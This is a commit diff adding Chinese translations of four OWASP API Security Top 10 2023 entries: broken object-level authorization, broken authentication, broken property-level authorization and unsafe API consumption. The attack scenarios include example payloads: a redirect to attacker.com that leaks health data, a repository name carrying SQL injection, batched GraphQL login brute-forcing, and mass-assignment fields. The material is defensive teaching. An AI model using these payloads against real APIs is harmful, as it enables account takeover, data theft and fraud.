chore: add 2023 top10 docs Chinese translation

2023/zhCN/API10:2023 不安全的API用法 .md

@@ -0,0 +1,87 @@
+API10:2023 不安全的API用法
+=====================================
+
+| 威胁来源/攻击特征                                            | 安全弱点                                                     | 影响                                                         |
+| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
+| API相关：易利用性**2**                                       | 普遍性**2**：可检测性**1**                                   | 技术**3**：业务相关                                          |
+| 开发人员往往会相信与外部或第三方API交互的终端点。对这些API中的安全漏洞进行成功利用可能会影响依赖它们的人。 | 通常，API集成依赖于较弱的安全要求，例如有关传输安全、身份验证/授权和输入验证和净化的要求。 | 敏感信息被未经授权的人员获取，很多种类型的注入是常见的问题。 |
+
+## API是否易受攻击？
+
+开发人员往往会相信来自第三方API的数据，而不是用户输入。特别是对于知名公司提供的API，开发人员往往会采用较弱的安全标准，例如在输入验证和净化方面。
+
+如果API满足以下条件，则可能存在漏洞：
+
+- 与其他API在未加密通道上交互；
+- 在处理来自其他API的数据之前，未正确验证和净化该数据或将其传递给下游组件；
+- 盲目遵循重定向；
+- 没有限制可用于处理第三方服务响应的资源数量；
+- 未实现与第三方服务交互的超时。
+
+## 攻击场景举例
+
+### 场景1
+
+一个API依赖于第三方服务来丰富用户提供的业务地址。当最终用户提供地址时，它被发送到第三方服务，并返回的数据然后存储在本地SQL启用的数据库中。
+
+攻击者使用第三方服务来存储与他们创建的业务相关的SQL注入负载。然后，他们攻击易受攻击的API，提供特定的输入，使其从第三方服务中提取他们的“恶意业务”。 SQL注入负载最终由数据库执行，将数据外传到攻击者控制的服务器。
+
+### 场景2
+
+一个API与第三方服务提供商集成，以安全的方式存储用户的敏感医疗信息。使用如下的HTTP请求通过安全通道发送数据：
+
+```
+bashCopy code
+POST /user/store_phr_record
+{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" }
+```
+
+攻击者找到了一种方法来破解第三方API，并开始以308永久重定向响应之前的请求，如下所示：
+
+```
+javascriptCopy code
+HTTP/1.1 308 Permanent Redirect
+Location: https://attacker.com/
+```
+
+由于API盲目地遵循第三方重定向，它将重复相同的请求，包括用户的敏感数据，但这一次是发送到攻击者的服务器。
+
+### 场景3
+
+攻击者可以准备一个名为 `'; drop db;--` 的Git仓库。
+
+现在，当受攻击应用程序的集成与恶意存储库完成后，将在构建应用程序的注入负载上使用该存储库的注入负载，以认为存储库的名称是安全输入的应用程序上。
+
+## 预防措施
+
+- 在评估服务提供商时，评估其API安全姿态。
+- 确保所有API交互都发生在安全的通信通道（TLS）上。
+- 在使用集成API接收到数据之前，始终验证并适当地清理数据。
+- 维护一个白名单，其中包含已知的位置，集成的API可能会重定向到您的位置：不要盲目遵循重定向。
+
+## 参考资料
+
+### OWASP
+
+* [Web Service Security Cheat Sheet][1]
+* [Injection Flaws][2]
+* [Input Validation Cheat Sheet][3]
+* [Injection Prevention Cheat Sheet][4]
+* [Transport Layer Protection Cheat Sheet][5]
+* [Unvalidated Redirects and Forwards Cheat Sheet][6]
+
+### External
+
+* [CWE-20: Improper Input Validation][7]
+* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8]
+* [CWE-319: Cleartext Transmission of Sensitive Information][9]
+
+[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html
+[2]: https://www.owasp.org/index.php/Injection_Flaws
+[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
+[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
+[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html
+[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
+[7]: https://cwe.mitre.org/data/definitions/20.html
+[8]: https://cwe.mitre.org/data/definitions/200.html
+[9]: https://cwe.mitre.org/data/definitions/319.html

2023/zhCN/API1:2023.损坏的对象级授权.md

@@ -0,0 +1,57 @@
+# API1:2023 损坏的对象级授权
+|威胁/攻击特征|安全弱点|影响|
+| ----- | ----- | ----- |
+|API相关: 可利用性**3**|普遍性**3** : 可检测性**2**|技术性**3** : 业务相关|
+|攻击者可以通过操纵请求中发送的对象的ID来利用存在对象级授权漏洞的API端点，这可能导致未经授权访问敏感数据。在基于API的应用程序中，这个问题非常普遍，因为服务器组件通常不会完全跟踪客户端的状态，而是更多地依赖于从客户端发送的像对象ID这样的参数来决定访问哪些对象。|这是对APIs最常见和最具影响力的攻击。现代应用程序的授权和访问控制机制是复杂和广泛的。即使应用程序实现了适当的授权检查基础设施，开发人员在访问敏感对象之前可能会忘记使用这些检查。访问控制检测通常不易受自动化静态或动态测试的影响。|未经授权的访问可能导致数据泄露给未经授权的各方、数据丢失或数据操作。未经授权访问对象还可能导致完整的帐户接管。|
+
+## API是否易受攻击?
+对象级授权是一种通常在代码层面实现的访问控制机制，用于验证用户只能访问他们应该有权限访问的对象。
+
+每个接收对象ID并对对象执行任何操作的API端点都应该实现对象级授权检查。检查应该验证登录用户是否有权限对请求的对象执行请求的操作。
+
+此机制的失败通常导致未经授权的信息披露、修改或破坏所有数据。
+
+将当前会话的用户ID（例如，从JWT令牌中提取它）与易受攻击的ID参数进行比较并不是解决BOLA的足够方案。这种方法只能解决一小部分情况。
+
+在BOLA的情况下，用户将有访问易受攻击的API端点/函数的权限。违规行为发生在对象级别，通过操纵ID来实现。如果攻击者设法访问他们不应该访问的API端点/函数，则属于BFLA而不是BOLA。
+
+## 攻击场景举例
+### 场景1
+一家为在线商店提供销售图表的电商平台提供了一个展示收入图表的列表页面。攻击者可以检查浏览器请求，识别用作数据源的 API 端点和其模式 `/shops/{shopName}/revenue_data.json`。攻击者可以使用另一个 API 端点获取所有托管商店名称的列表。使用一个简单的脚本来操作列表中的名称，替换 URL 中的 `{shopName}`，攻击者就可以访问数千个电商商店的销售数据。
+
+### 场景2
+一家汽车制造商通过移动 API 实现了对其车辆的远程控制，以便与驾驶员的手机通信。该 API 使驾驶员可以远程启动和停止发动机，锁定和解锁车门。在这个流程中，用户将车辆识别号码 (VIN) 发送到 API。但是，API 未能验证 VIN 是否代表属于已登录用户的车辆，这导致了一种 BOLA 漏洞。攻击者可以访问不属于自己的车辆。
+
+### 场景3
+一家在线文档存储服务允许用户查看、编辑、存储和删除他们的文档。当用户的文档被删除时，将发送带有文档 ID 的 GraphQL 突变到 API 中。
+
+```bash
+POST /graphql
+{
+  "operationName":"deleteReports",
+  "variables":{
+    "reportKeys":["<DOCUMENT_ID>"]
+  },
+  "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
+    {
+      deleteReports(reportKeys: $reportKeys)
+    }
+  }"
+}
+```
+由于没有进行任何其他权限检查，用户可能能够删除另一个用户的文档。
+
+## 如何预防
+* 实施正确的授权机制，依赖于用户策略和层次结构。
+* 在使用来自客户端的输入访问数据库记录的每个函数中使用授权机制来检查登录用户是否有权限执行所请求的操作。
+* 建议使用随机和不可预测的值作为记录ID的GUID。
+* 编写测试来评估授权机制的漏洞。不要部署会导致测试失败的更改。
+
+## 参考资料
+### OWASP
+* [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)
+* [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)
+
+### 外部
+* [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)
+* [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)

2023/zhCN/API2:2023 被破坏的身份验证.md

@@ -0,0 +1,101 @@
+# API2:2023 被破坏的身份验证
+
+| 威胁代理/攻击特征                                            | 安全弱点                                                     | 影响                                                         |
+| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
+| API相关：可利用性 **3**                                     | 普及率 **2**：可检测性 **2**                                 | 技术性 **3**：业务相关                                       |
+| 在 API 中进行身份验证是一个复杂和令人困惑的机制。软件和安全工程师可能对身份验证的边界以及如何正确实现身份验证存在误解。此外，身份验证机制是攻击者的易于攻击的目标，因为它向所有人公开。这两点使得身份验证组件潜在地容易受到许多攻击。 | 存在两个子问题：1. 缺乏保护机制：负责身份验证的 API 端点必须与常规端点有所不同，并实现额外的保护层；2. 机制的错误实现：机制被使用/实现时没有考虑攻击特征，或者用于错误的用例（例如，为物联网客户端设计的身份验证机制可能不适用于 Web 应用程序）。 | 攻击者可以控制系统中其他用户的帐户，读取他们的个人数据，并代表他们执行敏感操作，例如货币交易和发送个人信息。 |
+
+## API是否易受攻击?
+
+身份验证端点和流程是需要保护的资产。此外，“忘记密码/重置密码”应被视为身份验证机制的一部分。
+
+如果公开面向的 API：
+
+- 允许使用有效用户名和密码列表进行密码猜测。
+- 允许攻击者在不提供验证码/帐户锁定机制的情况下对同一用户帐户进行暴力攻击。
+- 允许使用弱密码。
+- 在 URL 中发送敏感的身份验证细节，例如身份验证令牌和密码。
+- 允许用户更改其电子邮件地址、当前密码或执行任何其他敏感操作，而无需要求确认密码。
+- 不验证令牌的真实性。
+- 接受未签名/弱签名的 JWT 令牌（`{"alg":"none"}`）。
+- 不验证 JWT 过期日期。
+- 使用纯文本、未加密或弱哈希的密码。
+- 使用弱加密密钥。
+
+除此之外，如果微服务：
+
+- 其他微服务可以在未经身份验证的情况下访问它
+- 使用弱或可预测的令牌强制执行身份验证
+
+## 攻击场景举例
+
+## 场景 #1
+
+为了执行用户认证，客户端必须发出如下API请求，其中包含用户凭证：
+
+```
+swiftCopy code
+POST /graphql
+{
+  "query":"mutation {
+    login (username:\"<username>\",password:\"<password>\") {
+      token
+    }
+   }"
+}
+```
+
+如果凭证有效，则返回一个认证令牌，后续请求需要提供该令牌以识别用户。登录尝试受到限制性速率限制：每分钟仅允许三个请求。
+
+攻击者可以利用GraphQL查询批处理绕过请求速率限制，加快攻击速度，以暴力登录受害者的帐户：
+
+```
+swiftCopy code
+POST /graphql
+[
+  {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
+  {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
+  {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
+  ...
+  {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
+]
+```
+
+## 场景 #2
+
+为了更新与用户帐户相关联的电子邮件地址，客户端应发出如下API请求：
+
+```
+bashCopy code
+PUT /account
+Authorization: Bearer <token>
+
+{ "email": "<new_email_address>" }
+```
+
+由于API不需要用户提供当前密码来确认其身份，因此攻击者可以将自己置于窃取认证令牌的位置。他们还可能通过更新受害者帐户的电子邮件地址后启动重置密码工作流程来接管受害者的帐户。
+
+## 如何预防
+
+- 确保您了解所有可能的API身份验证流程（实现单击身份验证的移动/ Web/深链接等）。询问您的工程师您错过了哪些流程。
+- 阅读有关身份验证机制的信息。确保您了解这些机制及其用法。OAuth不是身份验证，API密钥也不是身份验证。
+- 在身份验证、令牌生成或密码存储方面不要重新发明轮子。使用标准。
+- 凭据恢复/忘记密码端点应在暴力破解、速率限制和锁定保护方面视为登录端点。
+- 对于敏感操作（例如更改帐户所有者电子邮件地址/ 2FA电话号码），要求重新进行身份验证。
+- 使用 [OWASP身份验证备忘单][1]。
+- 在可能的情况下，实施多因素身份验证。
+- 实施反暴力破解机制，以减轻对身份验证端点的凭据填充、字典攻击和暴力攻击。此机制应比API上的常规速率限制机制更严格。
+- 实施 [帐户锁定][2]/验证码机制，以防止针对特定用户
+
+## 参考资料
+
+### OWASP
+
+- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
+- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)
+- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)
+
+### External
+
+- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)
+- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)

2023/zhCN/API3:2023 破损对象属性级别授权.md

@@ -0,0 +1,114 @@
+# API3:2023 破损对象属性级别授权
+
+| 威胁因素/攻击特征                                            | 安全漏洞                                                     | 影响                                                         |
+| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
+| 特定于API：可利用性**3**                                     | 普遍性**2**：可检测性**2**                                   | 技术**2**：业务相关                                          |
+| 攻击者可以通过利用暴露了破损的对象属性级别授权的API端点来读取或更改他们不应该访问的对象属性的值。 | 在API中进行授权是分层的。虽然开发人员可能会执行适当的验证，以确保用户可以访问函数，然后是特定的对象，但他们通常不验证用户是否允许访问对象内的特定属性。 | 未经授权的访问可能导致数据泄露给未经授权的方，数据丢失或数据篡改。 |
+
+## API是否易受攻击?
+
+当允许用户使用API端点访问对象时，重要的是验证用户是否可以访问他们正在尝试访问的特定对象属性。
+
+如果API端点满足以下条件，则API端点容易受到攻击：
+
+- API端点公开了被认为敏感且用户不应读取的对象属性（以前称为“[过度数据暴露][1]”）。
+- API端点允许用户更改，添加或删除敏感对象属性的值，这些值用户不应该访问（以前称为“[大规模分配][2]”）。
+
+## 攻击场景举例
+
+### 场景 #1
+
+一款约会应用允许用户举报其他用户的不当行为。 在此过程中，用户单击“举报”按钮，触发以下API调用：
+
+```
+bashCopy code
+POST /graphql
+{
+  "operationName":"reportUser",
+  "variables":{
+    "userId": 313,
+    "reason":["offensive behavior"]
+  },
+  "query":"mutation reportUser($userId: ID!, $reason: String!) {
+    reportUser(userId: $userId, reason: $reason) {
+      status
+      message
+      reportedUser {
+        id
+        fullName
+        recentLocation
+      }
+    }
+  }"
+}
+```
+
+API端点存在漏洞，因为它允许经过身份验证的用户访问敏感的（已举报的）用户对象属性，如“fullName”和“recentLocation”，其他用户不应该访问这些属性。
+
+### 场景 #2
+
+一个在线市场平台，为一种用户类型（“房东”）提供租赁自己的公寓给另一种用户类型（“租客”），要求房东在向租客收费之前接受租客的预订。
+
+在此过程中，房东通过向`POST /api/host/approve_booking`发送API调用并发送以下合法负载：
+
+```
+jsonCopy code
+{"approved":true,"comment":"Check-in is after 3pm"}
+```
+
+房东重放了合法请求，并添加了以下恶意负载：
+
+```
+bashCopy code
+{"approved":true,"comment":"Check-in is after 3pm","total_stay_price":"$1,000,000"}
+```
+
+API端点存在漏洞，因为没有验证房东是否应该访问内部对象属性 - “total_stay_price”，而租客将被收取超过应收费用的费用。
+
+### 场景 #3
+
+基于短视频的社交网络实行严格的内容过滤和审查。即使上传的视频被阻止，用户也可以使用以下API请求更改视频的描述：
+
+```
+bashCopy code
+PUT /api/video/update_video
+
+{"description":"a funny video about cats"}
+```
+
+沮丧的用户可以重放合法请求，并添加以下恶意负载：
+
+```
+jsonCopy code
+{"description":"a funny video about cats","blocked":false}
+```
+
+API端点存在漏洞，因为没有验证用户是否应该访问内部对象属性 - “blocked”，用户可以将值从“true”更改为“false”，并解锁自己的被阻止的内容。
+
+## 如何预防
+
+- 当使用 API 端点公开对象时，始终确保用户应该访问你公开的对象属性。
+- 避免使用 to_json() 和 to_string() 等通用方法。相反，选择你特别想返回的对象属性。
+- 如果可能，避免使用自动绑定客户端输入到代码变量、内部对象或对象属性的功能（"批量分配"）。
+- 仅允许客户端更新应该更新的对象属性。
+- 实现基于模式的响应验证机制作为额外的安全层。作为此机制的一部分，定义和强制执行所有 API 方法返回的数据。
+- 根据端点的业务/功能要求将返回的数据结构最小化。
+
+## 参考资料
+
+### OWASP
+
+* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1]
+* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2]
+* [Mass Assignment Cheat Sheet][3]
+
+### External
+
+* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4]
+* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5]
+
+[1]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa3-excessive-data-exposure.md
+[2]: https://github.com/OWASP/API-Security/blob/master/2019/en/src/0xa6-mass-assignment.md
+[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
+[4]: https://cwe.mitre.org/data/definitions/213.html
+[5]: https://cwe.mitre.org/data/definitions/915.html